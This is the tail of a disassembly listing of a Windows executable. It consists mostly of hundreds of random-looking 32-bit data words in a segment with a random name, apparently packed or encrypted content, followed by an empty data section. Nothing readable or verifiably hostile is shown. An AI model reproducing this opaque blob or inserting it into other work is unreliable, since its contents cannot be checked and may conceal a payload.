		dd 91F8C756h, 0AC88851Dh, 38E403E9h, 0A3B1BAC9h, 0B74DB658h
		dd 3B268970h, 0F293BC9Fh, 0F6980AAh, 22EB8A39h,	7EE8BDBBh
		dd 0D09A0228h, 56D8C945h, 0EF6C9013h, 5AE10FE6h, 61713429h
		dd 499AE215h, 0C645D405h, 8D9A8AC8h, 4E92B814h,	0F593CD9Dh
		dd 3D2E0574h, 0D06141CEh, 0B58005CEh, 0B762EBA2h, 471C3EACh
		dd 2FC77C03h, 0DFC7F2ABh, 0D77CB94Dh, 0E438B143h, 0DA75BC56h
		dd 91E84018h, 0CE0DDFC3h, 0F2AD90E9h, 0E6C0CAD1h, 63ADA8A0h
		dd 0BA41783Eh, 267029ECh, 1822417h, 4FBF90B3h, 0A1F21FF9h
		dd 0BAE5FAAAh, 57249A1Ch, 0B92C3904h, 0C81A4EF5h, 6156A4D2h
		dd 245AEECDh, 717CFBD5h, 3D0FF3E9h, 5C8CD7EEh, 349819EAh
		dd 0B1DC7AAFh, 322A44B2h, 6D387DA8h, 0D39A93C6h, 1A83A242h
		dd 897AD68h, 29BC89Fh, 5834E8Ch, 5B111661h, 1B4BABD1h
		dd 76E523D9h, 29D3C5E8h, 0C4675EB9h, 7A5D33A4h,	0B1C9F5FBh
		dd 82311E49h, 1C0A8491h, 6F37CD88h, 3E263762h, 0E8DB3893h
		dd 4DE2C28Fh, 0E2282744h, 985CACA9h, 4FE1C08Eh,	24FB7F9Ch
		dd 607C96E4h, 0B7E0B444h, 26BCF199h, 0D60E7CBh,	8EDBD297h
		dd 0D5026C50h, 67E0BB20h, 0A979C9E6h, 0E2C1D9C0h, 3617681Fh
		dd 745E9AD1h, 0B8411EB7h, 19685AA1h, 284DE79Ah,	0DD08D111h
		dd 550FFF6Ah, 31B3CEB5h, 0C548C741h, 0AFEF6101h, 3030BD6Eh
		dd 0FD2A0A04h, 800F553Eh, 616FEC40h, 6B801825h,	945DCC7Bh
		dd 0DD0EB6B5h, 0C6A7D703h, 0E5190E59h, 6E6EBD0Ah, 1DCE6632h
		dd 41258AE9h, 0F134B711h, 9659C0F3h, 5BE74413h,	58B7B715h
		dd 0A9D6674Eh, 0A9367FA3h
		dd 0E6E22C48h, 3661415Fh, 89D24A33h, 0E37D6A05h, 0FE48FCA2h
		dd 11D1A9B3h, 42030A40h, 44753F6Eh, 3AABDFE8h, 5D3C41B7h
		dd 4A16FE8h, 0BF722CD0h, 14806D74h, 38F4B362h, 62960751h
		dd 0C887A1Fh, 0C91D590Ch, 80D1014Eh, 0E9A8A0F5h, 2291BEF3h
		dd 20035DD5h, 0D73B6888h, 4CCB0728h, 50AD789Dh,	852F2B55h
		dd 0AA9A6E6h, 4258BDA2h, 0CF54556Bh, 658D6A9h, 647A7EBEh
		dd 0E862FD5h, 8820F383h, 4E90CF51h, 258D67AAh, 6E66C8EAh
		dd 907C547Fh, 0CADC695Ah, 0BEBE3D16h, 9CA63ED1h, 80467810h
		dd 5BBDDFBEh, 10788659h, 82C2D8AFh, 0E798DC5Dh,	3B0877D0h
		dd 3CD4AB66h, 0EF14CABBh, 36435628h, 0EC4EA987h, 98E58691h
		dd 0FABD9527h, 0ADB147E0h, 600971F4h, 3ECC8C5Ch, 0D96184C4h
		dd 7A407B6Bh, 4EC923C2h, 0CB014BBFh, 78832CE7h,	607A9903h
		dd 0BF7BCFE9h, 9AC66507h, 329F7840h, 69BFBE2Ch,	1E01E227h
		dd 3DF32EEAh, 0EE94DFE7h, 0CA69C2C0h, 0C451FE0Fh, 7E331ABEh
		dd 0DB280E12h, 0AAEB6F51h, 0A7B42C0Dh, 7F2349C7h, 0CE615424h
		dd 0CBBFBF3Dh, 0E740C5ABh, 96B80ECCh, 0E8ED2326h, 0CDB59CFFh
		dd 0F998C0F2h, 17A0921Fh, 2FFFA0B1h, 83F6F08Eh,	4A94E0B6h
		dd 0A6ECFC5h, 6754CB20h, 0CA4ACDB1h, 0F95C1AA6h, 3BF7E698h
		dd 57D70F95h, 0FC19B4E8h, 0D61795BCh, 0C3EAD620h, 0B58B0DFEh
		dd 0B35D1D54h, 6EE54EADh, 3177941Ch, 48E6F088h,	802547FFh
		dd 0BBC27ACEh, 2DD7AC75h, 62A23140h, 0DBD833DFh, 2BAB80FFh
		dd 43F22327h, 0E7ECA328h, 8363B56Ch, 1319CE7Eh,	8A7ACD7h
		dd 1C681374h, 6E960953h, 0FB4404A5h, 0F8C5B429h, 32B1BD7Fh
		dd 3A24C8E1h, 2BA46974h, 0B35499B4h, 250CEDD5h,	0F6CE3BEEh
		dd 507EE95Ch, 2703ECDFh, 0E50D0E83h, 0C349EBEAh, 210DD8F7h
		dd 0CE3CE73Ch, 0A5F581E1h, 70F27B7h, 0F1C3D71Eh, 0ED19A822h
		dd 652F2D3Ch, 534EAB5Bh, 892DC445h, 1FC5CD0Ah, 0BE371A01h
		dd 4E7F16F7h, 0F2225504h, 80AC7F38h, 1A2FB7A2h,	0B76648A2h
		dd 59DF58E3h, 0E5AC9A5Fh, 8449B2F3h, 8B551F20h,	21CD010Bh
		dd 0FAEAC6CEh, 8CEEAA98h, 54BCF2EBh, 6046866Bh,	0E5AB7D4Eh
		dd 0B4BDA95Ch, 0DCBB34A8h, 0B5C7E76Bh, 0A7F02257h, 46CC2888h
		dd 3AFAFE1Dh, 0E24B647h, 0F7C76303h, 6C9BCE0Ah,	872CAA0Bh
		dd 86771920h, 512FA2DBh, 0FF3F20C0h, 0F580673Eh, 0C197257Fh
		dd 4B0D2494h, 3A136786h, 0CF73898Ch, 8E26FA04h,	5A91D71Eh
		dd 0BCF08E7Bh, 2CE9FE21h, 0EFCDDBCFh, 32F25264h, 0CD26C7ABh
		dd 0AD6B97BAh, 857DB2AAh, 7A623C31h, 6C0770DAh,	0A58E87D9h
		dd 7CD0E77Bh, 5207D93Bh, 7B4C50D8h, 0FBE39ECFh,	44DCCB73h
		dd 0C3E6CE81h, 5F2D3C94h, 870AEDC0h, 0AFADA802h, 42396C04h
		dd 0E06F3652h, 7E390B95h, 5F655EC9h, 62A29B5Fh,	0B1D7DB01h
		dd 69CA880Dh, 8D5908A2h, 0A89361CCh, 42D6BC1Ah,	1C37B57Ah
		dd 3433563Fh, 0CB9D75Fh, 0AC767197h, 8DD9FFD3h,	65A2A3EAh
		dd 3A97D335h, 0E77DCA1Eh, 842675ECh, 0B5AD412h,	6BDC0C8Ch
		dd 4CE13701h, 4388E7Ch,	69219252h, 14E57D74h, 0E3C9FCC7h
		dd 1BCBBA43h, 78BAC8E8h, 64ABD404h, 47D80485h, 87F64625h
		dd 9696A779h, 569A8B58h, 83053A0Fh, 2F653EF5h, 0FD98174Ah
		dd 69036FD2h, 3A7CF4EFh, 2D6A5E17h, 30EA73BEh, 0B310B650h
		dd 52AA52DCh, 7363B272h, 0FCE2E5DEh, 5A0CA329h,	8E766A27h
		dd 0B413906Fh, 3FB33209h, 0D0EB9038h, 0D2796B42h, 945B0ED8h
		dd 595AF8C7h, 0F89F20Ah, 0B866CD89h, 3C0EB10Ch,	0DEACB458h
		dd 1CB9EA55h, 0DA9200CAh, 812AAC7h, 216DAEEBh, 0B78B00FDh
		dd 41C200C1h, 99A84733h, 8887D7F0h, 15CBC4A7h, 8356055Eh
		dd 0B94B41EBh, 8B96F224h, 32975CEFh, 0D22F0C35h, 0A4F32D4Eh
		dd 4DB01414h, 5D5E565Dh, 4A12C6DFh, 52C54561h, 7B2FD3F0h
		dd 64D8D93Eh, 0AAD7AB42h, 86F4986Fh, 581157BDh,	9BB10B34h
		dd 0F54CEE3Ch, 0DC0EC930h, 0C781E2E5h, 0B8B4151Dh, 0AA2E7F2Fh
		dd 0DF65C907h, 9485D1EEh, 399403BFh, 0AA027AAEh, 5EE5A27Ch
		dd 0D6CB10F5h, 0BAB6DA6Fh, 116D749Ch, 6A66D6A8h, 5C9F619Bh
		dd 107A92A8h, 4CB078A3h, 518746E6h, 0B3A830F0h,	0DBA7FA71h
		dd 6B0E41Fh, 5FDA9D8Dh,	4EFEFE34h, 3795A430h, 4E6B8775h
		dd 0C243EB80h, 0D1AE4127h, 47655B3Ch, 1F6256FFh, 0F1C810D6h
		dd 620FB382h, 0CDA35AFh, 81C0E402h, 534FECD0h, 0E021EDA7h
		dd 254F7991h, 4950C8E4h, 5DF15A0Ah, 532FEDA0h, 8D32E164h
		dd 0B62BFE06h, 2E0B2265h, 34158EB0h, 0D88FC630h, 70548DCDh
		dd 7B43C917h, 0B5846BBEh, 0E27CDBF3h, 106E72FDh, 0AF37ACA5h
		dd 98F1D7D5h, 2E18A489h, 0B847F31Eh, 6391EC1Dh,	8F189B29h
		dd 2C26EA1Bh, 67574186h, 98E35B1Bh, 141BAA0Fh, 16191E3Eh
		dd 716AE5EBh, 0A5DACD96h, 16EB73CAh, 18F001CFh,	25BA024Ch
		dd 0C7866C5Ch, 5546F029h, 0BB3AE07Bh, 0DF9BB705h, 9D934E92h
		dd 315264F0h, 5C0BE132h, 2CC365BFh, 0C6315C38h,	7F7D5B0Fh
		dd 0EB689EAEh, 6FEBC41Fh, 7AA83DDBh, 404459AEh,	4787D29Fh
		dd 0A3208D69h, 0B9563102h, 44431CBDh, 8B1AD63Eh, 9AF9FE4Bh
		dd 37C0A2BCh, 8DF460EDh, 8BC4755h, 31254D74h, 8BC28AC6h
		dd 15FD1C39h, 0B4839C8Eh, 11213A3Dh, 2EE48B5Eh,	46C3FCCEh
		dd 0E52554F6h, 9DF43CBh, 4DA9B0D7h, 3FCEFC17h, 0D540A04Bh
		dd 32C62152h, 71042AD9h, 5FB60327h, 0AF188C36h,	9DE37325h
		dd 94412B98h, 65BCF8B6h, 49E6C6BFh, 0AB5F2FCBh,	8D62C25h
		dd 63050CE1h, 1460AFF0h, 0BCA3A997h, 4E33B138h,	0CB8472E8h
		dd 37FFDB46h, 0A170095Eh, 8B240A43h, 0C21291B0h, 0A02A74CBh
		dd 171D1CD5h, 97E8362h,	0BACFEF03h, 19BC402Dh, 0EEB41794h
		dd 5C558F06h, 0C1206A95h, 1260E9F8h, 0AADEDAEEh, 0C25CE484h
		dd 872327D2h, 46D0172Ah, 0E813554Fh, 0F17BEC89h, 9A73AC08h
		dd 9404EC9h, 242B28B4h,	49332E4Eh, 7F1D6571h, 87640204h
		dd 0FDD2A0DBh, 7F57BF16h, 0FD55A2C9h, 0EC4CDEBDh, 86D67261h
		dd 0BB0517ADh, 0BA65F5BBh, 983A45F0h, 0DA541299h, 1C094E0Fh
		dd 5220F127h, 0AC3207A5h, 81CF1022h, 5F8B7C02h,	31A002A2h
		dd 0D70E7794h, 4A50665Eh, 7F5874E8h, 0CA4CF724h, 4512D130h
		dd 646B428Dh, 6AD15830h, 0CE0FE087h, 348C5F5Ah,	832B0346h
		dd 0BC7DBDEDh, 96DE31AEh, 53846669h, 0E4C8509Dh, 0B0182776h
		dd 17F7645Ah, 7F91741Dh, 44D33ABh, 74923DD3h, 0C5E2DE8h
		dd 9F07B5D0h, 0EE1B9498h, 0D6E778EDh, 6A0C6A8Fh, 0BBA4ED1Eh
		dd 11196E64h, 0A2922B2Ch, 67BDF07Fh, 0C08609DAh, 0DA3BE8C3h
		dd 5CB00F82h, 84F7FF29h, 9EE0C090h, 0EB1CB450h,	0D7F25AC0h
		dd 0FD6CCA21h, 5801512Ah, 3BCBDFAAh, 3E3A5D9Eh,	3E344AF2h
		dd 20787AB8h, 0F0754BC0h, 2B8F5F1Ah, 9F4BB602h,	0FD941FD3h
		dd 35E0F6B5h, 0AD643BB1h, 47521B45h, 4E3A3AA1h,	0FE8AE0C0h
		dd 6380EC44h, 2A82EF26h, 7DAF40ADh, 15936D55h, 193642FDh
		dd 0C4FF95BBh, 28E417EEh, 419599E8h, 33FFBC91h,	0DFEA02E3h
		dd 0D6B4DFB8h, 198EB6B9h, 0A2D18A2h, 7210A7Eh, 0C4E3DF4Bh
		dd 8DE56571h, 21F23F33h, 0BBC0AB09h, 3DBE6A78h,	95C314D5h
		dd 258905CFh, 1578DD20h, 10B15E5h, 0BDBDCE7Ah, 0E1CA97D5h
		dd 38486EF7h, 3A30FDCAh, 46FE73D5h, 0D5ECA240h,	8965C826h
		dd 9F78C9BFh, 0DBF8A478h, 0FCE6EA90h, 0A617CC5Ah, 9F6176B1h
		dd 0E4944FAAh, 0AA6808B7h
uyr766ie	ends

; Section 9. (virtual address 0008E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0008E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 48E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start